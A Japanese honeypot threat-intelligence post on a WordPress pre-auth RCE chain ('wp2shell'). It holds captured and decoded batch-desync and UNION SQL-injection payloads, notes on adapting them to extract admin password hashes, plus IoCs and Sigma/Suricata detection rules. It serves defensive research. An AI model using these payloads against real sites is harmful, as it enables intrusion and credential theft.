wp2shellを野生で捕獲:パッチ公開から2日後のWordPress認証前RCE | AI-nativeなアクティブディフェンス

TL;DR

  • wp2shellはCVE-2026-63030(REST APIバッチルートの混同、CVSS 9.8)とCVE-2026-60137(WP_Query::author__not_inにおけるSQLインジェクション)を組み合わせたチェーンで、プラグインを一切導入していないデフォルト構成のWordPressにおいて未認証の遠隔コード実行を可能にします。
  • パッチは2026年7月17日に公開されました(6.8.6/6.9.5/7.0.2)。技術的な詳細の全容は7月20日に公表されています。
  • WordPress 7.0.1を装った当社のBeelzebubハニーポットは、2026年7月19日08:38 UTCに最初の武器化されたエクスプロイト攻撃を捕捉しました。これは技術的な詳細の公開よりも前であり、パッチ公開からおよそ48時間後のことです。
  • 攻撃ペイロードはネストされたバッチリクエスト(バッチの中にさらにバッチを埋め込む構造)で、author_excludeというRESTパラメータを介してUNION ALL SELECTインジェクションを送り込み、16進数エンコードされたカナリアマーカーで攻撃成功を確認していました。
  • ある攻撃者は身を隠す気すらなく、User-Agent: wp2shell/1.0をそのまま使用していました。
  • Beelzebubの完全な設定ファイル、デコードされたペイロード、IoC、検知ルールを以下にまとめています。

背景

2026年7月17日、WordPressのセキュリティチームは緊急リリースとなる6.8.6、6.9.5、7.0.2を公開しました。これらのリリースの背後には、連結することで匿名の攻撃者にコード実行を許してしまう2つの脆弱性が存在していました。標準構成のWordPressインストール環境であれば、プラグインもテーマも認証もユーザー操作も一切不要でした。

このチェーンはすぐにwp2shellという通称で呼ばれるようになりました。CERT-AgIDはイタリアの公共部門のインストール環境に対して即時パッチ適用を強く求める勧告を発行し、7月20日までには複数のPoCエクスプロイトが公に流通するようになっていました。

WordPressはウェブ全体の非常に大きな割合を占めており、脆弱なコードパスは廃れたプラグインではなくコアそのものに存在していました。この巨大なインストールベース、デフォルト構成でのエクスプロイト可能性、そして公開PoCという組み合わせは、まさに数時間以内にインターネット全体を対象とした一斉攻撃を引き起こすプロファイルそのものです。

私たちは、その一斉攻撃が実際にネットワーク上でどのように見えるのかを確認したいと考えました。そこでBeelzebubハニーポットをこの問題に向けて設置し、パッチ未適用の新規インストール直後のWordPress 7.0.1ブログに扮装させて、待ち構えました。

待つ時間は長くありませんでした。


脆弱性の詳細:wp2shell

チェーンを構成する2つの要素

CVE コンポーネント CVSS クレジット
CVE-2026-63030 REST APIバッチルートの混同 9.8 Adam Kues(Searchlight Cyber)
CVE-2026-60137 author__not_in経由のSQLインジェクション 5.9 TF1T、dtro、haongo

単独では、いずれも致命的な脅威にはなりません。CVE-2026-60137はブラインド型のSQLインジェクションで、レスポンスボディには何も返ってきません。CVE-2026-63030はルーティングのバグで、単独ではおおむね本来アクセスできないはずのエンドポイントへのアクセスを許すだけです。しかし両者を連結すると、認証前RCEへと変貌します。

要素その1:バッチルートの混同(CVE-2026-63030)

WordPress 6.9では、クライアントが複数のREST呼び出しを1つのHTTPリクエストにまとめられる、バッチREST エンドポイント/wp-json/batch/v1が導入されました。このハンドラであるWP_REST_Server::serve_batch_request_v1()は、送信されたrequests配列を走査し、位置でインデックス化された並列配列を構築します。1つはパース済みのリクエストオブジェクト用、もう1つは検証・権限チェックの結果用です。

このバグは、これらの並列配列が非同期化してしまうことに起因します。たとえば早い段階でパースに失敗するような不正な形式のパスを含むエントリを送り込むと、片方の配列からは静かに除外されるものの、もう片方には残ってしまい、インデックスがずれていきます。その結果、本来リクエストN用に計算された権限チェックの結果が、リクエストN+1に適用されてしまうのです。

適切な形状のリクエストを送れば、本来はrest_forbiddenで拒否されるはずのリクエストが、隣接する無害なリクエストの権限判定結果を使ってディスパッチされてしまいます。

今回捕捉したペイロードでは、この非同期化は以下のようなエントリで引き起こされていました。

{"method": "POST", "path": "http://:"}
{"method": "POST", "path": "///"}

スキームのみのURL(http://:)と、スラッシュ3つのパスです。どちらも有効なRESTルートではありません。両者の存在意義は、インデックスの整合性を1つずらすことにあります。

要素その2:WP_Query内のSQLインジェクション(CVE-2026-60137)

WP_Queryはauthor__not_inという引数を受け付け、RESTレイヤーはこれをauthor_excludeクエリパラメータとして公開しています。サニタイズ処理のロジックは、この値が常に配列として渡されることを前提にしていました。サニタイズ処理を守っている型チェックは、値が文字列の場合にスキップされてしまい、生の値がそのまま生成されるSQLに直接埋め込まれてしまいます。

つまり次のようになります。

GET /wp-json/wp/v2/posts?author_exclude[]=1     ← 配列、サニタイズされる
GET /wp-json/wp/v2/posts?author_exclude=1)+AND+…  ← 文字列、インジェクションされる

1)によって生成されるWHERE post_author NOT IN (…)句が閉じられ、それ以降はすべて攻撃者が制御するSQLになります。

組み合わせると

  1. /wp-json/batch/v1(あるいは/?rest_route=/batch/v1)にバッチリクエストをPOSTします。
  2. 並列配列を非同期化させ権限チェックを迂回させるため、不正な形式のエントリを含めます(CVE-2026-63030)。
  3. バッチの内部で、SQLを含む文字列型のauthor_excludeを伴うwp/v2コレクションエンドポイントを呼び出します(CVE-2026-60137)。
  4. 管理者のパスワードハッシュを抽出します。武器化されたバリエーションでは、UNION SELECTを使って、インジェクションした結果セットから偽造した投稿・ユーザーオブジェクトを直接生成します。
  5. 管理者セッションを偽造し、プラグインをアップロードすれば、シェルを手に入れたことになります。

影響を受けるバージョンとパッチ済みバージョン

ブランチ 脆弱 修正済み 影響
6.8.x 6.8.0〜6.8.5 6.8.6 SQLインジェクション部分のみ
6.9.x 6.9.0〜6.9.4 6.9.5 認証前RCEのフルチェーン
7.0.x 7.0.0〜7.0.1 7.0.2 認証前RCEのフルチェーン

ハニーポットの構築

実際の攻撃行動を観察するには、レスポンスヘッダー、X-WP-Totalカウンター、/wp-json/ディスカバリードキュメントの形式まで、パッチ未適用のWordPress 7.0.1に完全に見える対象が必要でした。攻撃ツールは実行前に厳密にフィンガープリンティングを行うため、粗雑な模倣ではスキップされてしまいます。

Beelzebubの HTTPプロトコル機能を使えば、ボディ・ヘッダー・ステータスコードを完全に制御しながら正規表現マッチのルートを定義できます。それが今回必要としていたすべてでした。

ポート サービス 模倣したバージョン
80/TCP HTTP Apache 2.4.58 / PHP 8.2.20上のWordPress 7.0.1

設計上の工夫

いくつかの判断が特に重要でした。

  • ディスカバリードキュメントが誘い水になります。ほぼすべてのスキャナーは/wp-json/または/?rest_route=/から始めます。私たちのレスポンスはbatch/v1ネームスペースを公開し、/batch/v1をPOSTルートとして掲載しています。これが攻撃ツールに対して「このターゲットは攻撃する価値がある」と伝える要因になります。
  • readme.htmlとの整合性が必要です。WordPressは平文でバージョンを記載したreadme.htmlを同梱しています。スキャナーはこれを<meta name="generator">タグと相互チェックします。不一致があれば正体を見破られます。
  • ヘッダーもフィンガープリントの一部です。X-Robots-Tag: noindex、X-Content-Type-Options: nosniff、Allow:、そしてLink: </wp-json/>; rel="https://api.w.org/"ヘッダーは、いずれも実際のWordPress RESTレスポンスが発行するものです。
  • バッチエンドポイントは401ではなく200を返します。ハニーポットがバッチリクエストを拒否すれば、攻撃者はそこで止まってしまいます。整形された空のバッチレスポンスを返すことで会話を継続させ、ネストされた第2段階を含むペイロード全体を捕捉できます。
  • 両方のルーティング形式に対応しています。WordPressはパーマリンクを有効にした/wp-json/…と、無効にした/?rest_route=/…の両方でREST APIを提供します。実際の攻撃ツールは両方を試すため、両方をマッチさせています。

Beelzebubの設定

apiVersion: "v1"
protocol: "http"
address: ":80"
description: "WordPress 7.0.1 - Honeypot CVE-2026-63030 (REST batch route confusion + author__not_in SQLi)"
commands:
  - regex: "^/$"
    handler: |
      <!DOCTYPE html>
      <html lang="en-US">
      <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="generator" content="WordPress 7.0.1">
        <link rel="https://api.w.org/" href="/wp-json/">
        <title>Corporate Blog &#8211; Just another WordPress site</title>
      </head>
      <body class="home blog wp-theme-twentytwentyfive">
        <header><h1>Corporate Blog</h1></header>
        <main><article><h2>Hello world!</h2><p>Welcome to WordPress.</p></article></main>
      </body>
      </html>
    headers:
      - "Content-Type: text/html; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
      - "Link: </wp-json/>; rel=\"https://api.w.org/\""
    statusCode: 200
  - regex: "^/readme.html.*$"
    handler: |
      <!DOCTYPE html>
      <html><head><title>WordPress &#8250; ReadMe</title></head>
      <body>
        <h1>WordPress</h1>
        <p>Semantic Personal Publishing Platform</p>
        <h2>Version 7.0.1</h2>
      </body></html>
    headers:
      - "Content-Type: text/html; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
    statusCode: 200
  - regex: "^/wp-json/?$"
    handler: |
      {
        "name": "Corporate Blog",
        "description": "Just another WordPress site",
        "url": "http://blog.example.com",
        "home": "http://blog.example.com",
        "gmt_offset": 0,
        "timezone_string": "",
        "namespaces": ["oembed/1.0", "wp/v2", "wp-site-health/v1", "batch/v1"],
        "authentication": {
          "application-passwords": {
            "endpoints": {
              "authorization": "http://blog.example.com/wp-admin/authorize-application.php"
            }
          }
        },
        "routes": {
          "/": {"namespace": "", "methods": ["GET"]},
          "/batch/v1": {"namespace": "batch/v1", "methods": ["POST"]},
          "/wp/v2/posts": {"namespace": "wp/v2", "methods": ["GET", "POST"]},
          "/wp/v2/users": {"namespace": "wp/v2", "methods": ["GET", "POST"]}
        },
        "_links": {
          "help": [{"href": "https://developer.wordpress.org/rest-api/"}]
        }
      }
    headers:
      - "Content-Type: application/json; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
      - "X-Robots-Tag: noindex"
      - "X-Content-Type-Options: nosniff"
      - "Allow: GET"
    statusCode: 200
  - regex: "^/wp-json/batch/v1.*$"
    handler: |
      {
        "responses": [
          {
            "status": 200,
            "headers": {"Content-Type": "application/json; charset=UTF-8"},
            "body": []
          }
        ],
        "failed": null
      }
    headers:
      - "Content-Type: application/json; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
      - "X-Robots-Tag: noindex"
      - "X-Content-Type-Options: nosniff"
      - "Allow: POST"
    statusCode: 200
  - regex: "^/index.php.*batch/v1.*$"
    handler: |
      {"responses": [{"status": 200, "headers": {}, "body": []}], "failed": null}
    headers:
      - "Content-Type: application/json; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
    statusCode: 200
  - regex: "^/wp-json/wp/v2/posts.*$"
    handler: |
      [
        {
          "id": 1,
          "date": "2026-06-01T09:00:00",
          "slug": "hello-world",
          "status": "publish",
          "type": "post",
          "title": {"rendered": "Hello world!"},
          "content": {"rendered": "<p>Welcome to WordPress.</p>", "protected": false},
          "author": 1,
          "_links": {"self": [{"href": "http://blog.example.com/wp-json/wp/v2/posts/1"}]}
        }
      ]
    headers:
      - "Content-Type: application/json; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
      - "X-WP-Total: 1"
      - "X-WP-TotalPages: 1"
      - "X-Robots-Tag: noindex"
      - "Allow: GET, POST"
    statusCode: 200
  - regex: "^/wp-json/wp/v2/users.*$"
    handler: |
      [
        {
          "id": 1,
          "name": "admin",
          "slug": "admin",
          "_links": {"self": [{"href": "http://blog.example.com/wp-json/wp/v2/users/1"}]}
        }
      ]
    headers:
      - "Content-Type: application/json; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
      - "X-WP-Total: 1"
      - "X-WP-TotalPages: 1"
    statusCode: 200
  - regex: "^/wp-login.php.*$"
    handler: |
      <!DOCTYPE html>
      <html><head><title>Log In &#8250; Corporate Blog</title></head>
      <body class="login">
        <form name="loginform" id="loginform" action="/wp-login.php" method="post">
          <p><label>Username or Email Address<br>
            <input type="text" name="log" class="input"></label></p>
          <p><label>Password<br>
            <input type="password" name="pwd" class="input"></label></p>
          <p class="submit"><input type="submit" name="wp-submit" value="Log In"></p>
        </form>
      </body></html>
    headers:
      - "Content-Type: text/html; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
    statusCode: 200
  - regex: "^.*$"
    handler: |
      <!DOCTYPE html>
      <html lang="en-US">
      <head><meta charset="UTF-8"><title>Page not found &#8211; Corporate Blog</title></head>
      <body class="error404"><h1>Oops! That page can&#8217;t be found.</h1></body>
      </html>
    headers:
      - "Content-Type: text/html; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
    statusCode: 404

捕捉したエクスプロイト攻撃

タイムライン

Jul 17, 2026  → WordPress 6.8.6 / 6.9.5 / 7.0.2 released. Advisory published,
                technical details deliberately withheld.
     ↓
Jul 17, 2026  → First reconnaissance hits on the honeypot:
                GET /wp-json/batch/v1 from 62.113.210[.]14 (23M Cloud, DE),
                within hours of the advisory.
     ↓
Jul 19, 2026  → 08:38:59 UTC, first fully weaponized exploitation attempt.
                UNION-based SQLi nested inside a batch request.
     ↓
Jul 20, 2026  → Searchlight Cyber publishes the full technical breakdown.
                Public PoCs proliferate.
     ↓
Jul 20-22     → Sustained, multi-source scanning and exploitation.

重要なのは2行目と4行目の間のギャップです。誰かが公開された技術的な詳細分析よりも丸一日前に、動作するエクスプロイトチェーンを手にしており、それをすでに無作為なインターネットホストに向けて撒き散らしていました。パッチの差分をリバースエンジニアリングしたのか(この種のバグであれば十分可能です)、あるいはエクスプロイトが非公開の場で流通していたのかのいずれかでしょう。

フェーズ1:発見

ほぼすべてのセッションが同じように始まっていました。両方のRESTルーティング形式を探り、パーマリンクが有効かどうかを確認していたのです。

31.58.244.30     GET  /?rest_route=/
31.58.244.30     GET  /wp-json/
31.58.244.30     GET  /?rest_route=/
178.83.123.99    GET  /?rest_route=/
15.204.64.31     GET  /wp-json/
15.204.64.31     GET  /?rest_route=/
204.77.130.140   GET  /wp-json/
204.77.130.140   GET  /?rest_route=/

ツール群がレスポンスの中で探しているのは、たった1つの文字列です。namespaces配列内のbatch/v1です。私たちのハニーポットはこれを公開しているため、スキャナーはエスカレートしていきます。

91.92.47.229からは別途、古典的なユーザー列挙のプローブが送られてきました。

91.92.47.229     GET  /wp-json/wp/v2/users

これはwp2shellの一部ではなく、以前から存在するWordPressのユーザー列挙という挙動です。とはいえ、新しいエクスプロイトを実行している同じホストが、旧来の脆弱性も併せてスイープしているという事実を思い出させてくれる、有用な例でもあります。

フェーズ2:武器化されたエクスプロイト

最初の本物のペイロードは、7月19日08:38:59 UTCに205.185.126.29から届きました。そのUser-Agentは、想像の余地を一切残していませんでした。

{
  "DateTime": "2026-07-19T08:38:59.758912867Z",
  "RemoteAddr": "205.185.126.29:39216",
  "Protocol": "HTTP",
  "Command": "POST /?rest_route=/batch/v1",
  "UserAgent": "wp2shell/1.0",
  "HeadersMap": {
    "Content-Type": ["application/json"],
    "Content-Length": ["841"],
    "Accept-Encoding": ["gzip"],
    "User-Agent": ["wp2shell/1.0"]
  }
}

User-Agent: wp2shell/1.0――偽装したブラウザ文字列も、目立たないよう配慮した様子も一切ありません。これはステルス性よりも量を重視した、機会主義的な大規模スキャンです。

興味深いのはリクエストボディの内容です。そこにはバッチの中にネストされたバッチが仕込まれていました。

{
  "requests": [
    { "method": "POST", "path": "http://:" },
    {
      "body": {
        "requests": [
          { "method": "GET", "path": "http://:" },
          {
            "method": "GET",
            "path": "/wp/v2/widgets?_fields=id,slug,title,content,guid&author_exclude=<SQLi>&context=view&orderby=none&page=-1&per_page=-1"
          }
        ]
      }
    }
  ]
}

注目すべき点は3つあります。

  1. "path": "http://:"はスキームのみのURLです。有効なルートではなく、その唯一の役割は、serve_batch_request_v1()内部の並列配列を非同期化させる形でパースを失敗させることです。
  2. ネストされたbody.requestsによって、バッチハンドラは再帰的に実行され、内側のバッチは外側のバッチから破損した権限コンテキストを継承します。
  3. page=-1&per_page=-1は負の値によるページネーションで、脆弱なLIMIT/WHERE構文に到達するコードパスへWP_Queryを強制的に進めるために使われています。

ターゲットに注目してください。/wp/v2/widgetsであり、/wp/v2/postsではありません。widgetsエンドポイントは通常edit_theme_options権限を必要とするため、認証バイパスが成功した場合のみ到達可能です。これをインジェクションの標的先に使うことで、このリクエストは1回でバイパスとインジェクションの両方をテストするものに変わります。

SQLインジェクションのデコード

URLデコードすると、author_excludeの値は以下のとおりです。

1) AND 1=0 UNION ALL SELECT
  1922721457,
  1,
  0x323032302d30312d30312030303a30303a3030,
  0x323032302d30312d30312030303a30303a3030,
  '', '', '',
  0x7075626c697368,
  0x636c6f736564,
  0x636c6f736564,
  '',
  COALESCE((SELECT 0x633934353034373633393239), ''),
  '', '',
  0x323032302d30312d30312030303a30303a3030,
  0x323032302d30312d30312030303a30303a3030,
  '', 0, '', 0,
  0x706f7374,
  '', 0
-- -

すべての16進数リテラルは、偽造された行を正当なwp_postsレコードに見せかける値にデコードされます。

16進数 デコード結果 カラムの用途
0x323032302d30312d30312030303a30303a3030 2020-01-01 00:00:00 post_date、post_modified
0x7075626c697368 publish post_status
0x636c6f736564 closed comment_status、ping_status
0x706f7374 post post_type
0x633934353034373633393239 c94504763929 カナリアマーカー

その仕組みは、詳しく見る価値があります。

  • AND 1=0は正規の行をすべて抑制し、レスポンスには攻撃者が偽造した行のみが含まれるようにします。
  • カラム数と型はwp_postsと正確に一致させられています。これは当てずっぽうのブラインドプローブではなく、スキーマとハイドレーションのパスを把握した上で書かれたものです。
  • クオート付き文字列ではなく16進数リテラルを使うことで、クオートベースのWAFシグネチャや、マジッククオート方式のエスケープ処理を回避しています。
  • COALESCE((SELECT 0x633934353034373633393239), '')はペイロードを格納するスロットです。今回はランダムなカナリアc94504763929が入っていますが、実際の抽出攻撃ではこのサブクエリがSELECT user_pass FROM wp_users WHERE ID=1に置き換わります。
  • -- -は生成されたクエリの残りをコメントアウトします。ダブルダッシュの後ろの末尾の-は、必要な空白が空白の正規化処理で失われることへの対策です。

偽造された行がWP_Postオブジェクトにハイドレートされ、REST APIのシリアライザーを通してレンダリングされ直すため、カナリアはレスポンスボディの中に現れます。これが決定的なアップグレードです。CVE-2026-60137を、遅くてノイズの多いブラインド・タイムベースのインジェクションから、高速で直接出力を返すインジェクションに変えてしまうのです。管理者のハッシュ抽出は、何千回もの時間計測リクエストから、たった1回のHTTP呼び出しへと縮小します。

2つ目のバリエーション

204.77.130.140から観測された別のペイロードは、/wp/v2/posts/999999を標的にしています。これは意図的に存在しない投稿IDであり、AND 1=0によってではなく、構造的に正規の結果セットを空にしています。

0) UNION SELECT
  999999, 2,
  0x323032302d30312d30312030303a30303a3030,
  0x323032302d30312d30312030303a30303a3030,
  5,
  CONCAT(0x7c7c, HEX(CAST((SELECT 0x4f4b) AS CHAR)), 0x7c7c),
  7,
  0x7075626c697368,
  9, 10, 11, 12, 13, 14,
  0x323032302d30312d30312030303a30303a3030,
  0x323032302d30312d30312030303a30303a3030,
  17, 18, 19, 20,
  0x706f7374,
  22, 23
-- -

ここでは0x7c7cは||を意味し、0x4f4bはOKを意味します。つまりpost_contentにレンダリングされるマーカーは||4F4B||となり、OKの16進数表記が二重パイプに挟まれた形になります。

CONCAT(0x7c7c, HEX(CAST(… AS CHAR)), 0x7c7c)というラッパーは、その場限りの手書きの攻撃ではなく、汎用の抽出ハーネスであることの証です。

  • ||…||という区切り文字は、パーサーが任意のHTML/JSONレスポンスの中から抽出対象の値を見つけ出せるようにします。
  • HEX(CAST(… AS CHAR))は、抽出されるデータがバイナリセーフであることを保証します。エンコーディングの破損や、JSONを崩してしまう文字、パスワードハッシュやシリアライズされたブロブを取得する際の文字セットの問題を避けられます。

(SELECT 0x4f4b)を(SELECT user_pass FROM wp_users LIMIT 1)に置き換えれば、同じハーネスで認証情報が抜き出せます。OKは単なる自己テストにすぎません。

この2つのペイロードは、カラム数もプレースホルダーの形式(16進数でパディングされた文字列と、素の整数)も異なっており、7月19日と20日の時点で少なくとも2つの独立したエクスプロイト実装がすでに流通していたことを示しています。

単一ホストから観測されたフルチェーン

204.77.130.140は、完全な手順を繰り返し実行していました。

204.77.130.140  GET   /wp-json/
204.77.130.140  GET   /?rest_route=/
204.77.130.140  GET   /wp-json/
204.77.130.140  GET   /?rest_route=/
204.77.130.140  POST  /wp-json/batch/v1
                      {"requests": [{"method": "POST", "path": "///"},
                       {"method": "POST", "path": "/wp/v2/posts",
                        "body": {"requests": [{"method": "POST", "path": "///"},
                         {"method": "GET", "path": "/wp/v2/users?author_excl…
204.77.130.140  GET   /wp-json/
204.77.130.140  GET   /?rest_route=/

エクスプロイト試行の後に/wp-json/を再確認しているのは、ターゲットの状態が変化したかどうか――新しいユーザーが出現したか、ネームスペースのリストが変わったか――を確認する自動化ツールの特徴的な挙動です。スキャナーのループに後付けされた、粗雑な成功判定オラクルといえます。

ここでの非同期化用のエントリが"path": "http://:"ではなく"path": "///"となっている点にも注目してください。同じ手口の3番目のバリエーションであり、複数の独立した実装が存在することのさらなる裏付けです。


攻撃者のインフラ

送信元IP ネットワーク/組織 ASN 国 観測された挙動
205.185.126[.]29 FranTech Solutions(PONYNET) AS53667 US SQLiペイロードのフル送信、UA: wp2shell/1.0
204.77.130[.]140 JIULING 該当なし US フルチェーンを繰り返し送信、2つ目のSQLiバリエーション
31.58.244[.]30 CloudBackbone / CGI Global AS56971 NL / HK 持続的なREST探索
178.83.123[.]99 Megahost Kazakhstan TOO AS208450 KZ REST探索
15.204.64[.]31 OVH US LLC AS16276 US REST探索
91.92.47[.]229 TechTies Inc. AS197170 NL / SC ユーザー列挙(/wp/v2/users)
62.113.210[.]14 23M Cloud AS47447 DE /wp-json/batch/v1への最も早いプローブ

その傾向は一貫しており、驚くようなものではありません。バレットプルーフに近い格安VPSプロバイダが、米国、オランダ、ドイツ、カザフスタン、香港の各法域に分散しています。FranTech/PONYNET(BuyVM)や23M Cloudは、不正利用データセットに長年登場している常連です。これはAPTのインフラではなく、インターネット全体を対象とする一斉攻撃のために使われている、レンタル済みの使い捨てキャパシティです。

このセットには住宅系IPやTor経由の通信は一切含まれていません。これは先の解釈を裏付けるものです。これは狙いを定めた侵入ではなく、量を追求する機会主義的な大規模エクスプロイトです。


侵害の痕跡(IoC)

ネットワークIoC

# Source IPs (observed July 17-22, 2026)
205.185.126.29
204.77.130.140
31.58.244.30
178.83.123.99
15.204.64.31
91.92.47.229
62.113.210.14
# ASNs with elevated wp2shell scanning activity
AS53667  (FranTech Solutions / PONYNET)
AS56971  (CloudBackbone)
AS208450 (Megahost Kazakhstan)
AS47447  (23M Cloud)
AS197170 (TechTies Inc.)
# User-Agent
wp2shell/1.0
# Request patterns
POST /wp-json/batch/v1
POST /?rest_route=/batch/v1
POST /index.php?rest_route=/batch/v1

ペイロードの署名

# Batch array desync markers (path values that are not valid routes)
"path": "http://:"
"path": "///"
"path": "http:///"
# Nested batch (a "requests" key inside a request "body")
"body":{"requests":[
# String-typed author_exclude carrying SQL
author_exclude=1)
author_exclude=0)
author_exclude=%29
author__not_in=
# UNION-based injection markers
UNION+ALL+SELECT
UNION+SELECT
0x7075626c697368          # 'publish'
0x706f7374                # 'post'
0x636c6f736564            # 'closed'
0x7c7c                    # '||' extraction delimiter
HEX(CAST(
COALESCE((SELECT
# Negative pagination forcing the vulnerable query path
page=-1&per_page=-1

侵害後のホストIoC

# Check for these on any WordPress 6.8.0-7.0.1 install that was internet-facing
- Administrator accounts created after 2026-07-17
- wp_users rows with recent user_registered and role=administrator
- New or modified PHP files under wp-content/uploads/
- Newly installed or activated plugins with no matching admin audit trail
- Modified wp-config.php
- Unexpected entries in wp_options: 'active_plugins', 'cron'

検知ルール(Sigma)

title: WordPress wp2shell Exploitation Attempt (CVE-2026-63030 / CVE-2026-60137)
id: 7f3c1a92-4d8e-4b21-9c65-1e0a7b4d2f88
status: experimental
description: >
  Detects exploitation attempts of the wp2shell chain, combining REST batch
  route confusion with SQL injection through the author_exclude parameter.
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-63030
  - https://nvd.nist.gov/vuln/detail/CVE-2026-60137
  - https://cert-agid.gov.it/news/wp2shell-vulnerabilita-critiche-nel-core-di-wordpress-necessario-aggiornare-i-sistemi/
logsource:
  category: webserver
detection:
  selection_batch:
    cs-uri-stem|contains:
      - '/wp-json/batch/v1'
      - 'rest_route=/batch/v1'
  selection_sqli:
    cs-uri-query|contains:
      - 'author_exclude=1)'
      - 'author_exclude=0)'
      - 'author_exclude=%29'
      - 'author__not_in='
  selection_union:
    cs-uri-query|contains:
      - 'UNION ALL SELECT'
      - 'UNION SELECT'
      - '0x7075626c697368'
      - '0x706f7374'
  selection_ua:
    cs-user-agent|contains: 'wp2shell'
  condition: selection_ua or selection_batch or (selection_sqli and selection_union)
falsepositives:
  - Legitimate use of the batch REST endpoint by authenticated block-editor sessions
    (these will carry a valid nonce and an authenticated cookie)
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - attack.credential_access
  - attack.t1212
  - cve.2026.63030
  - cve.2026.60137

Suricataルール

alert http any any -> $HOME_NET any (msg:"wp2shell batch endpoint exploitation attempt (CVE-2026-63030)";
  flow:established,to_server; http.method; content:"POST";
  http.uri; content:"batch/v1"; nocase;
  http.request_body; content:"|22|requests|22|"; content:"|22|body|22|"; distance:0;
  classtype:web-application-attack; sid:2026063030; rev:1;)
alert http any any -> $HOME_NET any (msg:"wp2shell author_exclude SQL injection (CVE-2026-60137)";
  flow:established,to_server;
  http.uri; content:"author_exclude"; nocase;
  pcre:"/author_exclude=[^&\[]*(\)|%29)/i";
  classtype:web-application-attack; sid:2026060137; rev:1;)
alert http any any -> $HOME_NET any (msg:"wp2shell scanner user-agent";
  flow:established,to_server;
  http.user_agent; content:"wp2shell"; nocase;
  classtype:web-application-attack; sid:2026063031; rev:1;)

2番目のルールのpcreに注目してください。あえてauthor_exclude[を除外しています。というのも配列形式こそが正規のものだからです。エクスプロイト可能なのは文字列形式のみであり、その区別こそが誤検知の洪水を防いでいます。


主な調査結果

1. 武器化が開示に先行していました

7月17日に技術的な詳細が公開されなかったのは、防御側に時間を与えるための意図的な措置でした。しかし、その効果は48時間未満にとどまりました。カラムが正確に一致し、スキーマを理解した上で作られたUNION SELECTチェーンが、公開の技術解説より1日前の7月19日に、私たちのハニーポットを攻撃していたのです。

この種のバグでは、パッチの差分そのものがエクスプロイトの仕様書になってしまいます。詳細を非公開にする対応は、攻撃者層の中でも技術力の低い層を減速させる程度の効果しかなく、技術力の高い層にはほとんど無意味です。

2. ブラインドが非ブラインドに変わりました

勧告はCVE-2026-60137をブラインド型のSQLインジェクションと位置づけており、防御側もそれに合わせて緊急度を判断していたのは妥当な判断でした。ブラインド抽出は遅く、ノイズが多く、レート制限が容易だからです。

しかし今回捕捉されたペイロードは、その前提を完全に覆します。完全なwp_posts行を偽造し、WordPress自身にそれをハイドレートさせ、REST API経由でシリアライズして返させることで、攻撃者は直接出力を手に入れます。何千回もの時間計測リクエストが、たった1回に圧縮されるのです。時間ベースの遅いオラクルを前提とした対策――リクエストのレート制限やタイミング異常検知など――はすべて、想定していた脅威モデル自体が誤っていたことになります。

3. 複数の独立した実装が即座に登場しました

私たちは3種類の異なる非同期化マーカー(http://:、///、およびルーティングのバリエーション)と、カラム数が構造的に異なる2種類のインジェクションペイロードを観測しました。これは1つのPoCがコピペされたものではなく、同じ72時間の期間内に複数のチームが独立して開発を進めていたことを示しています。

4. 認証バイパスは、権限が必要なエンドポイントを使ってテストされていました

/wp/v2/postsではなく/wp/v2/widgetsにインジェクションしているのは、小さな詳細でありながら大きな意味を持っています。widgetsにはedit_theme_options権限が必要で、未認証のリクエストは本来401を返すはずです。これを標的先として使うことで、たった1回のリクエストで両方の要素を同時に証明できることになります。これは無差別な試行ではなく、エクスプロイト設計における規律の高さを示しています。

5. ハニーポットの忠実度がデータの質を決めます

今回のデータセットに含まれるすべてのセッションは、フィンガープリンティングのリクエストから始まっていました。もしハニーポットが/wp-json/batch/v1に対して401を返していたら、あるいはネームスペースリストからbatch/v1を省いていたら、あるいはgeneratorメタタグと食い違うreadme.htmlを返していたら、スキャナーはそのまま離れていき、私たちが捕捉できるのは偵察のノイズのみで、第2段階のペイロードには決して到達できなかったでしょう。

ペイロードこそが全てです。それを手に入れるには、攻撃者が本気で仕掛けてくるだけの説得力を持たせる必要があります。


推奨事項

WordPressを運用している場合

  1. 今すぐパッチを適用してください。6.8.6、6.9.5、あるいは7.0.2です。パッチ適用に匹敵する部分的な緩和策は存在しません。
  2. 7月17日以降にパッチ未適用のままインターネットに公開されていた6.9.x/7.0.xのインストール環境については、侵害されたものと想定してください。公開エクスプロイトは2日以内に活動を開始していました。「21日にパッチを適用した」というだけでは、無害であることの証明にはなりません。
  3. 試行そのものだけでなく、事後の痕跡も調査してください。7月17日以降に作成された管理者アカウント、wp-content/uploads/内の新規PHPファイル、説明のつかないプラグインの有効化、変更されたwp-config.phpなどです。
  4. 何か見つかった場合はすべてをローテーションしてください。全管理者パスワード、全アプリケーションパスワード、wp-config.phpのソルト、そしてすべてのデータベース認証情報です。

すぐにパッチを適用できない場合

  1. /wp-json/batch/v1と?rest_route=/batch/v1をブロックしてください。WAFやリバースプロキシのレベルで行います。バッチはブロックエディタで使われるため、これをブロックすると管理画面の使い勝手は落ちますが、公開サイトの動作は壊れません。
  2. 文字列型のauthor_excludeを拒否してください。正規のものはauthor_exclude[]=(配列形式)のみです。これは誤検知の少ない、精度の高いフィルターです。
  3. ネストされたバッチを拒否してください。リクエストbodyの中にrequestsキーがあるケースに、正当な用途はありません。
  4. 可能であれば、匿名ユーザーに対してはREST APIに認証を必須としてください。

多数のシステムを守っている場合

